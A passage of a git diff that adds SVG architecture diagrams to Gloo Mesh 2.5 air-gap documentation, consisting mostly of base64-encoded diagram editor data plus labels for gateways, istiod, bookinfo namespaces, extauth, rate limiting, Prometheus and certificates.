dTAwMTVbtCloXGZen2OVx9HTdTlUXHUwMDE0qFx1MDAxZXlD0dG3wlx1MDAwN6pXXHUwMDBiXHUwMDExXCJcdTAwMTXE4Fx1MDAxOW5KesNcdTAwMDP6wYf59b9cdTAwMTBcdTAwMWa+NHbGvWtcdTAwMTDYJliTpbp7fihRmExcdTAwMWbK1WzsrXWT63KdqlxcvlfdLLDgXHUwMDA0z8xtMFvwzMo5z1xukVxievBcZiFYXHUwMDEw35OeIIPD5z3+7thcdTAwMTnPcdkgV3gqVdDoonD3npmVQlf15/xm4649ouPH5HCPXHUwMDBlXHUwMDE2QmtB7M1cIv1A5ir5kCe95+6trOjHfKc7aGWu3lx1MDAwMk5FiMaWXsTksLVS+dhcdTAwMTaTc6yj5IPE5ChcdTAwMTP8L1x1MDAxNPdcdTAwMGLtZblcYsmnks/pwfT+JcNCt5Hcy11AXHUwMDAw5od9LC3hT0jOd1x0yVHY3edcdTAwMDN2XHUwMDBlQOk2NZ/6zV61XotcXPWi569cdTAwMTnJiuHnxFvjXHUwMDFiXHUwMDAwqbCF5Czw6cOmo98mJlx1MDAwN0khXHUwMDEwI75VK06JpD9BOXv27nKvPYHhjorYT8D89DXZXHUwMDE45F+SzcyLxqm4ymaKkVLZLTn8XHUwMDE0oTJuUXREWnxcdTAwMTF4tGJdcSbtcUf7NYt0bclqXHUwMDBic/aqIyOlNMefX1x1MDAxN/7zVVE5QbQlXHUwMDE2grtLgZphvz8+q5jgnXqrXHUwMDAyt/SL2fmaUjVrs/JEXHKPojXSNaWJUqLJUlxiiVx1MDAxZm54P99g7vNcdTAwMTJLS4HwwFx1MDAxN9VcYvbJlYZ/nDLAXHUwMDE0+LNcdTAwMTSKcC/f7Vx1MDAxZVx1MDAwMT+mbo7QMFmMXHUwMDE5Y4Iwh+bpWGlcdTAwMGJYKINcdDNzJLdWXHUwMDAzmGKmgav84Vx1MDAwMT/eW9PZUsBcdTAwMGY1TjZcdTAwMGXc3ZB9plx1MDAxN/2Bzj6ja6hcdTAwMDXGMDB7peBBK2DzXHUwMDFm79gy4sfbXHUwMDFkeWaP+CFgmXBFXHUwMDExbELwqMH0WZuUtpBEkmujfUojvDalb1x1MDAxNfDjLtvzy2tivVx1MDAxOPBcdTAwMWb7b+cgZfKML/B0Mpw+zVx1MDAxMtW7yUyJ1KONXHUwMDFlucDfXFzvsUD2KOVVVyxdXG5S5msqK5BTIVZbWO1PlPJcdTAwMWVRylx1MDAxOIExY1pcdTAwMWasufPmSOheqJ6YwD0tN6qbuFxuYEs6slx1MDAwYoRcdTAwMWTYO8JWXHUwMDE0xdf9weTSLUIgjn5cdTAwMWZcdTAwMTErdyHEwYuwLfD442U4OeiMounUa6syqz2kumhEw5cuKFx1MDAwZaY3o6b7XHUwMDA0MTX0XHUwMDE0tfl0Plx1MDAwMFNYXGbMdExcdEdMXHShfEB8b6T0XHUwMDAwpHqxLy6z8WR0pEalRKX+1lxmvetcclx1MDAwMYmrJUBajTJh1Fx1MDAxYpG4k5v1XHUwMDA3kVx1MDAwZYRIxDhXiL3QhFxykIT70aapdFxij2uj4NJgXHUwMDAzUlxik2V4wdr/M0yt4Is/JIVsgvzrM3bPalx1MDAwMDBcdCCJXG54qOZcdTAwMDTFdFx1MDAwMVd8XHUwMDFkksgqJO1ILHFcdTAwMWblKipcdTAwMWVLJp5i7ziSo+e9cslcdTAwMTEosYmclmDDmMrXQF+kWptcdTAwMTSwXVx1MDAwMFBzpsK45Fx1MDAxOMBkbVK7w+E/XHUwMDFmXHUwMDBm5d/SYJBcdTAwMTlcdTAwMWKL9Pe3+nfSqk3D7r2W//mYgIGSmvku//P//vl//z9Klt3RIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientintermediate CAroot certificate \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg new file mode 100644 index 0000000000..5809d9e18a --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3dcIkm27nv/XG6tvq9DnvDmvMkgXHUwMDA0skhcdTAwMTihO3excMKDhJU46/z3u4OqXHUwMDE2XHRkJIlwyZSYXHUwMDFlqlxuXHUwMDEzXHUwMDE5RG7zbf8/f52c/D34fKv8/d8nf1c+SoVWvdwrjP/+l3l9VOn1691cdTAwMGW8Rab/7neHvdL0k7XB4K3/3//1X4W3N2f2LafUbf/6ZqVVaVc6gz589v/Cv09O/mf67LpWr1JcdTAwMWFcdTAwMTQ61VZl+oXpW7PLXHQkXHUwMDE3X73rdqaX5lx1MDAxOFPJsUBfXHUwMDFmqPcv4HKDSlx1MDAxOd59LbT6ldk75qW/R58vycwrP715yj42VP4uVqnmsrOrvtZbrafBZ+vX7yqUasOea0/9Qa/brGTr5UFcct7HXHUwMDBir399r9+FXHUwMDEzmH2r11x1MDAxZFZrnUq/P/ed7luhVFx1MDAxZnya19Bs+79cdTAwMGXhv09mr3yYn6lcdTAwMTFzXHUwMDE00pzQX89f75rvXHUwMDEzplx1MDAxZMWV4FJopinicmFj591Wt2c29n+Qkq+8ONtasVBqVmF/nfLsM5hcdTAwMTSVXHUwMDEys8+Mf/9cXIKUQ1xcXHUwMDBmJr4+UqvUq7WB+VxmXHUwMDExjnY/2Gwrlek9UVJiyoSYvWGu/1x1MDAxNi/PqGP66kU5mqyevV09lF+SY35auzy9Pnv72lx1MDAxNHxgOHy4yZSS40/xctNM03bpfHB5+/fv9//f4q2pXHUwMDE1em+/b8HfffNcdTAwMGbXXHUwMDE5mJ9cdTAwMWZdJFE3mbrIp9tsqP7tPet3zyaqx6uNj2facm3LRdOFXq87/vvrnf/9l9+6zd5LUU1cIrWn+NlcdTAwMTmRtfRn6vzyMti6Sz95+FYu/GJcdTAwMDAsXHUwMDE4XHUwMDE3WFDGiJzRTKveacKbnWGr9ZdrZ+syJbIxJWaYXHUwMDEyrVxiU4G5MtK/Ped6rGjtXFw99vP9xFvy7SbsXFwp4Gc6QiuGyfRcdTAwMTnPcyXWXHUwMDBlUsBwWmOJOVx1MDAxMdTKlUxzYFp/riREXHUwMDE1K1x1MDAxZVxciVx0QXMspzy4Ui2xIZVaXG5cZv8/XHUwMDFjXHUwMDFiTn/gN9mwfZFvXGbHjY+3WD5byXS6LPGRXHUwMDFhb4FccpPVzjkpZ1x1MDAxNMjYXHUwMDE0vlx1MDAxY51F7kavNNRsSOy6UWOtOWOBmVDxilCdVOOW1d9cdTAwMTVcdTAwMTGvT48l9lx1MDAxMHomZJS6mZDMMyEnc0womZVcdFx1MDAwZq9cdTAwMWG50JowLNThePJAqvEwvMOYtqswITVcdTAwMTVcXFx1MDAwNeee88f+pXjv0WykXHUwMDE4qZFRLFx1MDAxZFx1MDAxOZfCr8Kkwlx1MDAwZfxONP21SKo57sGaODyYXG5D04cv91xmeoVO/63QXHUwMDAzWlrmIKXlPHcsM5BSoG1dXHUwMDBmvsg/mDNcbrBDsFx1MDAwMzLQJkrtSaYvc9GbQnGSXHUwMDFmpVx1MDAwN61C8Vxc0tJcdTAwMTaU2lM6Xs1QNri44o+XpdfKa/Qlc1x1MDAxYWbGdOOVXHUwMDA1xqRawH+Ki8B8OVSVVOLzlrTvyi/PzbPXaqubq4adL7miMlx1MDAxY3yp6Gq+xEuciFx1MDAwNdwmKVx1MDAwZqnKVnHinmmaSytQo5pSSohcdTAwMGVO0/VatsXxeen58amZPr/tpFp53FxyO01cdTAwMGLMtYOt5lx1MDAxMlNBzaXDIzUmXHUwMDEwlVxc/YFOjFx1MDAwMyE1pGzMI1x1MDAxOKJkLV9DYTLMytvEXfte3VXuy1x1MDAxZoPea/d2f8yDvsU8XFzJqULAXGYxhFxiZXPMwylzgNypXHUwMDAw1mBYUW3lnY1cXFxyUrA5xqDLvENdXHUwMDFh4jezXGJGOFg1XGZcdTAwMWSOWUKmXHUwMDBiqN13xsFGxXRcdTAwMWSrXUR6t7eV9Fx1MDAwM2o/TG7qXHUwMDE58v5ZT72FXlx1MDAxN1x1MDAwMI3a8VxynPs8vtmJKpBcYq2CNpgsQVx1MDAxYoKBXHLoIf1mf5Tkp9JuoysmMFx1MDAwMeRcdTAwMTQ8+POS69Zq1Xw6Kpu53Cm7fVx1MDAxYsviXHUwMDFlRf93eYUhO69cYs1cdTAwMWQuwSBCXFxcdTAwMDG58l2xilx1MDAwN0xcdTAwMDIohdxcdTAwMGa6xCuCaHZIa3xcdTAwMTNWSUR64/y4QVx1MDAxYvzqXHUwMDFly9PEJ3p4aoeaVTC1sYrSiip3zG1cdTAwMTWjsMZn8uHp9S6eT9zk3i5zb7Xr5pWFUVx1MDAxNlxifp5NXHUwMDE2/a27dFx1MDAwNHNhZ1x1MDAxM6JRUPNCXHRS0SV/RilWWLFcXPSASICQLDzxxTd8XHQhgVx1MDAxOcJcdTAwMTns60iVimTpp86YXHUwMDE3L1rNSPZcdTAwMDVfXzfki8W/NKh8XGaCuq3koF7sVyaKJJ7rref2a6TyTNlcdTAwMTbcYdF88lx1MDAxY9+yxLhbvMVcdTAwMGbPXHUwMDAzfX318bSFdUujYkxedM5cdTAwMWGpOn1SV5+pxnm0uIV1d3W821527tP/XG56wT1IzblccrlcdTAwMDWmXHUwMDBi3S1cbkxKQFxcXG46iyatkpj+x1x1MDAxOVZoXHUwMDAxXGLKT2byoG7G1+nj+25GzGeK4ktQupDDP8kjglIw91x1MDAwZmlKrlx1MDAxMpTfXCLfXHUwMDE5mXQ7g6f6pDKFV3OvXlx1MDAxNtr11ufcnZ7StfFcdTAwMDZ2qj3Y3cm/O1W44Ljw6b5cdTAwMGb9XG5cXMesx+a/eNqqVztTsVx1MDAwNTuv9Ob4Y1AvXHUwMDE1Wl9cdTAwMWZo18tlN+IowW5cbrBmL1x1MDAxZVx1MDAwNCp0e/VqvVNopVx1MDAxNja7tNX+oNBcdTAwMWKc1Ttl+MTisVQ65fl3NkBJrtDBokFBOGKaU1x1MDAxNFx1MDAxYye120WNXHUwMDFmS7fp/sdr/nxcdTAwMTTNvjaa6dDjJGbneYCJ4cVJXFwjjpQ78yh07O9cdTAwMGJcdTAwMTCenzWq9ntYfYpEXHUwMDFhPZ2f11x1MDAwNfnBSdvCSTs63lx1MDAxZC2LM52SKGXyxUYle45OY8kzNL5cdTAwMGLjKayCdd5cdTAwMTc8JKzTZPHVL1x0j5ViXGYzXHUwMDE03GXkf56hxXXcx71KNVx1MDAwZVx1MDAxYq7TXGJLJHSIXHLgXHUwMDAz4LpKoT9cdTAwMThX+oNcdTAwMDNcdTAwMDG7XHUwMDE12GZcdTAwMTHYfe32UMiOM2uQXHUwMDEwiJxhsFx1MDAxY2TwXHUwMDEwe3KSfMg/3SVH8i02blx1MDAwZdRphJ7b0kZ8kd0+q1x1MDAwNEzgmiAgyOnzfJWAXHUwMDA2U09QwShnkkikyMK+1spcdTAwMTnZMrBjRFNOpTrSeHq9nE8lXHUwMDA2Q1pLJtFN4YWXb6PR+Fx1MDAwZrDbXHUwMDE2sNvR8Vx1MDAxZdeyn29n5zfdXFxulMvfXGY/qjePOVg4jIe7XG4vel/wgHiRa6tHQHCwNylaI3Dif5whhYtcXFPsozikdrBLcdhT6HeCXHUwMDE2yVL2XHUwMDE1wVhTxEiY069cdTAwMGXhXHUwMDA27Fx1MDAwZurdsidExHLu01uDiCtA0pLvb2GH+1x1MDAwMobcmk6MteBA9FhcdTAwMDd39D+mJ/FeJ1ounkVz3Ums0Hw9QyzcwFAwaSw+SVx1MDAxMYZn4sp0+Vx1MDAwNVxmmSOZ5ExwRVx1MDAxNdY+KVx1MDAwNFx1MDAwMYChNXnsW8BcdTAwMTBcdTAwMTMuTerbsdbEZDNlRN9fXHUwMDA3b2fXMVp7ZWeVXHUwMDBmcv+DXGa3hVxmd3S8O1o2o5MmXHUwMDBmI9Vovtz0qmp8MXxcdTAwMWY3tnBcbrd1XHUwMDE0actaLt1I3z2NRCtcIiq1bdQkp1BJVlx1MDAwYqh3jTODdCF2gWL4vbNccsg5XHUwMDE02dpFg0V15i7ZaKl8nTdftrBu4fW+qOJZXHUwMDE5P009iPqkqZO5WjKMVLZcblwie1/wkFx1MDAxMFlZXStcdTAwMDRTSjDRa1TK+Z9nSDEy6FDho0MlcohLh9o7MOzJo0qQVkpi7KqHXHKd4jxcdTAwMDBGjrW63ZPbSr928u9OoTp3wHvwqK6AjotwebbZha1uXHUwMDBmN9tjKNZcXEJcdTAwMDZcdTAwMDYx0evYxG+ZzHhyS9jLa1nIRDd2l1x1MDAxOH9Ews7vUmLtaKFcYqe/nuf4nTHuKCG4Zlx1MDAwNFx1MDAxMfiLsoNmrFx1MDAwNCv45936MjzhXHUwMDFlXHUwMDFkXHUwMDFkqCsl/neVXHUwMDA1oVx1MDAxYVx1MDAxMYSOXHUwMDE0KMv4c4uNP65L7H38+XqHUEo+XHUwMDA0xFx1MDAxYZtoQ09pouZe9ZEmxW63We+8dk/G3V5cdTAwMTNuYKniKU5cYp/7ZnBxMui+2WTJ3OZcdTAwMTdcdTAwMDWHx758pcCvXHUwMDEz9Vx1MDAxMlx1MDAwM8IqXHUwMDA2MFx1MDAwMupXc1x1MDAwNLcyRc73XHUwMDFlh9JylqDv7YFUXHUwMDEwhUFcdTAwMDOpXHUwMDAxpIDddEbEXHUwMDAxXHUwMDAxXHUwMDA0XHUwMDAySWhKMaJcdTAwMWU1i8aG1yCHQFx1MDAxZVx0XHUwMDA0XHUwMDE0v1x1MDAwNFxiXHUwMDA0xUxcdTAwMDEvXHUwMDFjTjzspFxiy6ZcdTAwMTNnXCLmn+5j8Vx1MDAwMLpoyvKl4bRMz+GcK0ZcdII/kElcdTAwMWFwfahaeDObcyRmRPHfz1KT35/4wv3L2nj2XHUwMDFiXG79wXm33a5cdTAwMGbglz50652B5y86NaxZq1x1MDAxNJZ4XHUwMDFlVna/t8jDb2bF+Xs7+9vJjMqn//j6+//7l+enI3ZcbjSPJdqbrfeX+891QVxiXHUwMDEx9tpcdTAwMWaBXHUwMDE1VoxcdTAwMDXP4+g9nHZcdTAwMTNcdTAwMGavYtRcdTAwMWVdXHUwMDE23q/fazfxdOiFXHUwMDBm8cnUXHUwMDAz7DGfqWeVPUEqf2yyx11Y+yVspCt2/Eu6aGFsXHUwMDFmRlx1MDAwZeiR36142VxiXHUwMDFmRF578EHg2P6/O51Cu2KHXG7iu5bHplDBe4vfs1x1MDAxZLA1rV5SsEo1WyeelnmuXHJzk5vJZyxcdTAwMTeJXtFqM3PbXHUwMDBmO9tSXG7GgYVtpVx1MDAxMHOYYbOCPSvbUo9qVlx1MDAwZrY1XHUwMDE5tYJcdTAwMWMyoXaThjlcdTAwMDcq0duSUDD3M9wywWuH3zMkuF0mMJOWtVZHXHUwMDFm/1wi5pDKXHUwMDA0olx1MDAxZFx1MDAxM2ek2lx1MDAxNJAvtG9cdTAwMTBUOtj4XHUwMDE4pMJcdTAwMDA02W5UOTZcdTAwMGVMrZnmgjMm1cxH+SUhjFx1MDAxM1x1MDAxMyGQXG5cdTAwMTKZmKFcdTAwMTHVi1wiXHUwMDAzXHUwMDEzLYxcdTAwMDfokMH3vVpcdTAwMTJ275rNxvDvyDBnY1x1MDAxMMrBMFNgRUtC5IxJZjZcdTAwMDZxOGxYMFxmhCOlIHrJxjguS8JGhNN3PehvTVvCKoHg9luNXHSFQSOvlVx1MDAxZOqvecIqgpQjXHUwMDA0U0Bnmlx1MDAwMNHNw1x1MDAxMq1cdTAwMWRN4NyR6c3kfneXXCKIeCRcdTAwMDEg2Fx1MDAwN5VAXHUwMDAyXHUwMDA0MSEk4kv5P5hxSlx1MDAxOWV/ilx1MDAwNLLJXHUwMDE5f2w8J2eQRtjYaJhQOFxcOkv+/Vx1MDAxMjTcXHUwMDAxXHUwMDE4SDhcYlx1MDAxOVx1MDAwMoevJVuSM4Fkn3+Hjfk9XHUwMDEx0+5cdTAwMTToTVx1MDAxMoooV7OQw0z6YUd+7UpgXHUwMDAw1P9Z0o/Que8vUf6aws+e4WiVfZozgF5yXHLRXHUwMDE3a5Rz1/pl3OpcdTAwMTRcbplcdTAwMWXipefU551F9IUnmiOMXHUwMDFmXHUwMDE3S9O4XHKe+UI/RaZcdTAwMWNcdTAwMTApRCAlNPzFjr82XHUwMDBl5shAwVx1MDAxYyzBMCTMXHKKjyqac6A22ptcdTAwMTlmv+tW+mGL5njs63tcdTAwMTBcYqC7tVx1MDAwNyVjWoHgkcHzIP3vcTghXHUwMDEwUI8jXHUwMDA1XHUwMDA3PsdKXHUwMDExPd+BXHUwMDEyK9NETzLQRlx1MDAxOGhMYnuFzCbRXHUwMDFjwqhcdTAwMDPvKWwgLlxiXHUwMDFjXHUwMDE3Lp1Fc6jDXGLRXHUwMDFjK0pcdTAwMTBe7q9cbvpSS0VcdTAwMGaZ3Fx1MDAxMVxuXHUwMDA05K+L5tBcdTAwMDY1Wlx1MDAxN85cdTAwMWKBaVx1MDAwMfrVI5pDXHUwMDFkXHUwMDBlXHUwMDA3zk0yXHUwMDEzXHUwMDE2UnH+PVx1MDAwNOQ/ymJuT1hcdTAwMWFrWnDOXHUwMDAwksHfPTalXHUwMDFkReF/TMGRaaq4PG5cdTAwMDBkJ37zWCT7NeHPip6L9lC2oCBcdTAwMTNcdTAwMTSmwUFQJTdpJvrPz7fti7iePFRaL7nP8+9cYr/99X1cdTAwMDD68lx0ZXOlgNKCRJOCtH1YTHLbMFx0XFxcdTAwMWGKMT1Ej1x1MDAxM1xyjV6exsXK3VPjVvDMZ6N0f1x1MDAxOe8mwptcdTAwMDSe/yhUK6VcXFx1MDAwN92UVVx1MDAxMZ2/5OVVJb+FdSOptmhf5bMvstiaoGy7ULq63kZ67o6Od+vLrsr69b7gdpCxr9y0xt+lvaBcdTAwMWHwXHUwMDExMlZK8OxcdTAwMWb/81xmq92IXHT36b2JhENpkFheXHUwMDAwobkq63el4FxcLpRjlFx1MDAwMXRgYbZcIlx1MDAwZpBcdTAwMDP81uuWh6XBXHUwMDFiSDlPXHUwMDAzb1fFcisww6LZ57nNfTXJYtZwXHUwMDFkQVLCjVEqOOc/x/DDMFx1MDAxMz+7oJc30bt8LYVxXHUwMDBlh1x1MDAxYixcdO3XTFSCrbA1vt82WGJYmi2HuDbWT+sydJ/Enay4TfdcdTAwMWE5eVx1MDAxOT8vP752N1fmO1r22CBYr5wo1MvVPi+P7rOdwmsuTs5zW1j3WO7aKlxi5n3BXHUwMDAzQjBcdTAwMWZBjE2xPtZijVx1MDAxY0j/81xmKVx1MDAwNFx1MDAxM9qvR6nJz1b7gmBcdTAwMWWYa2lcYlx1MDAxOUEmXFzPZZhcdTAwMDXwXHUwMDAxQFe5XHUwMDAyUKjV91x1MDAwNlxcau7jW1x1MDAwM1xcK3DHXCLgWtrivsCW9jOzmGBrXHLxvLzuxLtcdTAwMDXZ7pJnfpaPXFz0XHUwMDA2g6dMuMGWxNhcdTAwMDdsKaJDXHUwMDBitohpJcjVQfOeN1x1MDAxYVx1MDAwN3KbLPc/ns5abHKda1x1MDAxNPmwelW31OWvo7ePa9ldgaJcdTAwMWRtl3/EI5O7XHUwMDE32k5cdTAwMTVSXHUwMDFm6HEk35uJSVx1MDAxOLe7XG5seV/wgGCLIXuKXHUwMDE4V1x1MDAxYVx1MDAxM8RFcKvX/zxDXG62JCY+YEsxcVCwtdxcdFxumVx1MDAwMbb8p8j9XHUwMDE3ff9cdTAwMDYyvcJcdTAwMDBwiVx1MDAwNWvtyLm1XHUwMDAydixiraUt7lxya1mjgNRkoWG6XHUwMDA2h8un5lNfIdFKqqdiXHUwMDFhZ87On0+/VVK2R6hFXHUwMDE08fNrsdBCLSaoyUw90vL2s/dcYk9IlLhG7U4tm+y/9rOt982xwHEtu6tcdTAwMDDgjra7K6C19e2uXHUwMDAyWt5cdTAwMTc8KNCyN+QzkyGFWKNBu/9xhlx1MDAxNWdcdTAwMTHlM99bUlx1MDAxYy6nlmBIw0b0XHUwMDBmzjpx46zKqF5cdTAwMTnv16e1XHUwMDAycyzhrMUtblx1MDAwZmdZ00yBem3czaZ57XqNiZ3+kZC1uHsxnXOXVlx1MDAxNKeO0oRSrTBmytVcdTAwMWRomjYgsENMJlwihf9MbcPO2Nv0JzHOaM6kgof2SDVlxNFcYmQuwlx1MDAwMlx1MDAxM0WXeVx1MDAxZkRcdTAwMDRR6LDDXHUwMDE5QpFs6lx1MDAxZr8/mSV2mjI2js2cbqaoXHUwMDEwRFDsSnOcpZtS02Ncbt4zyFx1MDAxNuPlzM5A6ab+Tu75XVHTXHUwMDBmjsHWQKso7CrD/9qVdlxiZlxmXHUwMDBioVxiZZLjI682tNK/eSxR/my5v9x/ri1cdTAwMDBcdTAwMTW2XHUwMDBloOFwLU7XmT/jXHUwMDBmmsMqXHUwMDAwXHTVXHUwMDBlJojCoVx1MDAwYk3VfLNEYFx0XHUwMDA3iE9wJZXgmNpcdTAwMWKKbyr/TOdyZfrWICNvufJonESlIzVhkjA1LTJbXHUwMDE0f1x1MDAwNGlcdTAwMDYs466M+Fx1MDAxMX++4lx1MDAwZuSMkoxcdTAwMTKiXHUwMDE1N8qPerVOYo6gIP+m5CGQ5N8sN/SHQ/ObwoxLwTTVJmBcdTAwMDN33GtToJAlU4IpXHUwMDEwyJxcdTAwMWV3taGV+M1jkezXlH3+TjZqN+8oZ6aHavB4ZrN7Ty70qD+KislVZUzYZSs2+Z782+dAXHUwMDA1gHjWXHUwMDE2MKDwXHUwMDAz5tpvOLPd0e7HsuzDZKmyiCBcdTAwMDKAXHUwMDE0VOKROtr8e4PM0XA4prYz+9R2wGlaXHUwMDFiQbpcdTAwMDa3PHSSpeb5oEfuXHUwMDBi2Y/zUnxcdTAwMWM/fTxcdTAwMDJuIXZuXHUwMDExWlx1MDAwNnRKb8gty/xcdTAwMDFy0+ap/scrzVx1MDAxOWPUXTF8VNxyoFx1MDAwNkpcdTAwMWKoXHUwMDE2Zu9LLDRYXWKNPkLsuZVNn02GXHUwMDAzOfosRmkn3sRP36pg3WNesimgsytcdTAwMTaNXHUwMDAztlx1MDAwNDxAqlxmooJoTI91xpvKolx1MDAwZlVcdTAwMDXBysdcdTAwMGbZt9v+x81bw5IlXHUwMDEyhlxm4sTLpdRcdTAwMGat7F3io4RKNX09uitcXG9h3af0bYNWulx1MDAxN70k8HMmx87bT83xXHUwMDE21t3R8e5o2dy9aMViubxcdTAwMWPedPv3ubTKv1d74T2F504m+UBcdTAwMWayzfhcdTAwMGJcdTAwMWSkJ6PLOL5VXHUwMDFibXdVyMn7h1x1MDAwNNxuPVqLN5uZaORGVq4rp7HPx8fbq1x1MDAwM2sle7NLu60jqTDujTW83f73P6TwXHJ0kvKBb4ChgvW7PEyNXHUwMDFjpkxcdTAwMDJN/Fx1MDAxNMn9pvdcdTAwMDNcdTAwMTfJrcBkoSqSs5fHSsKwYnSNqXLPjdPnTvk6e/lcdTAwMTnjtzh2l1KUfquh3Fx1MDAxZbEoMLxPn1vMt8f3266Rw1x1MDAwNGvOVZjnjfspyOt89pmoTEPKi5eoLKPnfvs5tjlM2NGyx1x1MDAwNnErUfRavohjln2ojFx1MDAxYu+yXFx9RNtcdTAwMTiCd1xcd23ry66CjN5cdTAwMTc8JLST1m5ZIO9M4d1cdTAwMWE10P7HXHUwMDE5VmSHTEsse5ZcdTAwMTKd8zZcdTAwMWM8S4mbMfJC/1Te/Vwi70NW3vmjmbBU3jFqLfggnFx1MDAwMJhYJ1Bf7KKo7GVcdTAwMWHpO1VIJ1x1MDAxYtHzXFyChrwllJlcdTAwMTlm529FcWhcdTAwMTFcdTAwMWPBQnFcIsOckOinXFx5Ov352Xm4KpU+70fFs1x1MDAwYpK6jVn87mtlLFx1MDAxZtWyu8JZx3Vcbltfdlx1MDAxNc7yvmDA3XZV/Pr187wn2iSRV6dcdTAwMWZcXE9K/WD3bO/4jfn0TsAg1qjGa7Sv8r9PYVx1MDAwNXCE+Vx1MDAwMDjF9EFcdTAwMDHcki9cdTAwMGV2qlxiIeqA42hCXGLgXHUwMDBlUc63XHUwMDAyzISlnI9RtPjql4nGTT9jQoO74C7G/D1TTTy/XHUwMDE1TmO9SqU/kSVcdTAwMTV2XHUwMDAwx1x1MDAxMPdzwVx1MDAwNVx1MDAxZDV1XHUwMDAwXHUwMDE3nDZJ5Vxmdlx1MDAxNV5e91OEb4n3yflj8f00dTOKPqpSMnVcdTAwMTa52Fx1MDAxY1xyXHUwMDFj17K7XG5cdTAwMDZcdTAwMWbXKexcbsdufburkKH3XHUwMDA1XHUwMDAz7naDoO1/XHUwMDEw4rQm/lx1MDAxM8RcdTAwMTGnSq0xLtn//odcdTAwMTVxMoz8XYZ7XHUwMDBiXHUwMDA2XHUwMDA3QZxcdTAwMTgrzU1cdTAwMGaJXHUwMDEwR4LCVtm4I8i5XHUwMDAyfoWhslExe7KHUlor4I/gXHUwMDBlQ//4VUgre1x1MDAwNJHSQVxm2Fx1MDAxYlFlkvnn+FuYXHUwMDBl/nxPlY2UwFx1MDAwNjhHmFHhNVx1MDAxMn1lZSP8XHUwMDE2MDf/mEGGtlx1MDAxYVx1MDAxYf+Ui5P5ukYmXHUwMDAxt1NcdTAwMDVUXHUwMDAwe9B6h3WNviGEXHUwMDEzn7pG7a50+Y+ta/SmfvPYWV2jJj4jXHUwMDE0pUm+XHUwMDE2a0x29jdcdTAwMWXCKv6oIFx1MDAwZZGmnFRcIiZcXJN5fok/5ki8p8JGk1xcXGKiXHUwMDE2SyBcdTAwMDDpMct1VWEjXHUwMDEzlFx1MDAwMCNcdTAwMWZcdTAwMTL5XHUwMDFjl/gzM4SQJoRi0/6cqlkpwsm2y1x1MDAxYf2x0Im1rFx1MDAxMXPpIZH/48pcdTAwMWG9Sd88NixrtI9OQ9RaeGKSfGEja1Rp+XtcZsIq+lx1MDAxODXgToCGRVx1MDAxMiFXLfWv+bFg9lx1MDAxMUHAkuKaS59cdTAwMTGKXHUwMDFiiz5DzpprrEFcdTAwMDRcdTAwMTAuvew8oFx1MDAwMtDxhCjgXGa4McvzXHUwMDE1qSRm6q9cYvHg+71cYr/Aglx1MDAwNlBcdTAwMTZDcHEuiCZg2GO8XGayMFx1MDAwN3zImeFLwlxixmhcdTAwMTllXHUwMDA1kn7+wYeFTVx1MDAwMatcdTAwMWIvMlBcdTAwMTWQJfco6qZcdTAwMGVCREhOXHUwMDE1oERDxEct/VwiVvI3jyXCX1P++Vx1MDAwN1vs+XBcdTAwMThAN9yDNWrvPlx1MDAwNi/5q8vOWadcdTAwMTCtxlx1MDAxZlx1MDAxM201+Vx1MDAxY36EPNhcdTAwMDJcdTAwMTLDMbqfy+nzfFNcdTAwMWZcIlx1MDAxNmrv6MLG1ou2WCdof3OCXHUwMDFhXHUwMDA1tSjZsSY8j0tskn6tXHUwMDE0rj8ytNpiXHUwMDE3kXHn2TJPNlxmmcnRfPJcdTAwMWPfssS4W7zFXHUwMDBmz1x1MDAwM3199bGNiEBpVIzJi85ZI1WnT+rqM9U4j1paNK+17o6Od0fLti/yjeG48fFcdTAwMTbLZyuZTpclPlLbiDptfbur4i3eXHUwMDE3nC27xFU7j1/YJ1x1MDAxMWhBXHUwMDA0I2uY9/6nXHUwMDE51uhcdTAwMDVWwkfEy/lSNlx1MDAxZlx1MDAxMb9cdTAwMTgs31H4gmnGXHUwMDExXHSzVD9A8Fx1MDAwMv4oXGbhXHUwMDE0XYe/efDCZ3j3KiyzXHUwMDE4uVja356SZTi2u+8k2LBcXKzTmPE8Tlx1MDAxM5NT8ig5aadTbZz8lPQt9Fx1MDAwMI44hFMt1PR53oJliIZcdTAwMTjAYYE0XHUwMDAyiH2kbXlcbo3e8LmXSNaS91wifvt4jd+xOPtcdTAwMDFw21x1MDAwMnA7Ot4/fNlV+M37glx1MDAwN8RvbmfYUoBcdTAwMDZptZaT0v84w1x1MDAwYuCkj4gnKGRcdTAwMDBcdTAwMGVcdTAwMGKCXHUwMDE0XHUwMDEzOMxccqRcdTAwMGWT8lxcOWnV2/U5ULaHJJRcdTAwMTWoxiPv2WOf+0p+1vZsMy1N8dpcdTAwMWGjId8/7lx1MDAxMiheqFx1MDAxNtNcdTAwMTfRaEFVXG7Pl/Im9HBcdTAwMGXZjTVKQ1xm5zggbUVcdTAwMGbaU3ZcdTAwMTM0l6ucfd50+OX4splcdTAwMWKWxUNcdTAwMDVHsi8/aG5baG5Hx/uz7C6WXVx1MDAwNVx1MDAxMr0veEiQKOxlcZxoipFcXKNvjf95hlx1MDAxNyVyXHUwMDFmzcFDh1x1MDAxMiXVhHJ3uWLo9MVBspTL9f3mKK9AScs5ynNcdTAwMWLcl59P+0xXwmBuILFGVdwknqdcdTAwMGbxx1x1MDAxN/xRZ/fv3ftI7rHAv1x1MDAwM1xm9zhcXIlR5GgpsEZcZp5cdTAwMTemXHUwMDBmmGbDWGNgbkRcdTAwMTQwtz1J71x1M